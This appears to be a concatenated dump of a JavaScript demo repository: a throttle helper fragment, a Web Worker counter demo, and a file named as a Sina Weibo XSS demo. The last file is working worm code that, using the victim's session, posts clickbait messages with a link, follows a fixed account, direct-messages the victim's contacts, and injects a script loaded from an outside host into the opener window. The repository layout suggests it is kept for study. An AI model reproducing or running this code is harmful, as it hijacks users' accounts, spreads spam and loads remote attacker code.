null; func.apply(context, args); if (!timeout) context = args = null; }; var throttled = function() { var now = new Date().getTime(); if (!previous && options.leading === false) previous = now; var remaining = wait - (now - previous); context = this; args = arguments; if (remaining <= 0 || remaining > wait) { if (timeout) { clearTimeout(timeout); timeout = null; } previous = now; func.apply(context, args); if (!timeout) context = args = null; } else if (!timeout && options.trailing !== false) { timeout = setTimeout(later, remaining); } }; throttled.cancel = function() { clearTimeout(timeout); previous = 0; timeout = null; }; return throttled; } ================================================ FILE: demos/web-worker/index.js ================================================ /** * Web Worker * 在火狐中可以直接打开测试,在 Chrome 中需要起服务器 */ var i = 0; function timedCount() { i = i + 1; console.log('window 对象为:', typeof window) console.log('global 对象为:', typeof global) console.log('self 对象为:', self) var root = (typeof window == 'object' && window.window == window && window) || (typeof global == 'object' && global.global == global && global); console.log(root) postMessage(i); setTimeout("timedCount()", 500); } timedCount(); ================================================ FILE: demos/web-worker/webworker.html ================================================

      Count numbers:

      ================================================ FILE: demos/xss/06.28_sina_XSS.js ================================================ function createXHR() { return window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP"); } function getappkey(url) { xmlHttp = createXHR(); xmlHttp.open("GET", url, false); xmlHttp.send(); result = xmlHttp.responseText; id_arr = ''; id = result.match(/namecard=\"true\" title=\"[^\"]*/g); for (i = 0; i < id.length; i++) { sum = id[i].toString().split('"')[3]; id_arr += sum + '||'; } return id_arr; } function random_msg() { link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();; var msgs = [ '郭美美事件的一些未注意到的细节:', '建党大业中穿帮的地方:', '让女人心动的100句诗歌:', '3D肉团团高清普通话版种子:', '这是传说中的神仙眷侣啊:', '惊爆!范冰冰艳照真流出了:', '杨幂被爆多次被潜规则:', '傻仔拿锤子去抢银行:', '可以监听别人手机的软件:', '个税起征点有望提到4000:' ]; var msg = msgs[Math.floor(Math.random() * msgs.length)] + link; msg = encodeURIComponent(msg); return msg; } function post(url, data, sync) { xmlHttp = createXHR(); xmlHttp.open("POST", url, sync); xmlHttp.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xmlHttp.send(data); } function publish() { url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; post(url, data, true); } function follow() { url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime(); data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile'; post(url, data, true); } function message() { url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; ids = getappkey(url); id = ids.split('||'); for (i = 0; i < id.length - 1 & i < 5; i++) { msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime(); msg = random_msg(); msg = encodeURIComponent(msg); user = encodeURIComponent(encodeURIComponent(id[i])); data = 'content=' + msg + '&name=' + user + '&retcode='; post(msgurl, data, false); } } function main() { try { publish(); } catch (e) {} try { follow(); } catch (e) {} try { message(); } catch (e) {} } try { x = "g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)"; window.opener.eval(x); } catch (e) {} main(); var t = setTimeout('location="http://weibo.com/pub/topic";', 5000);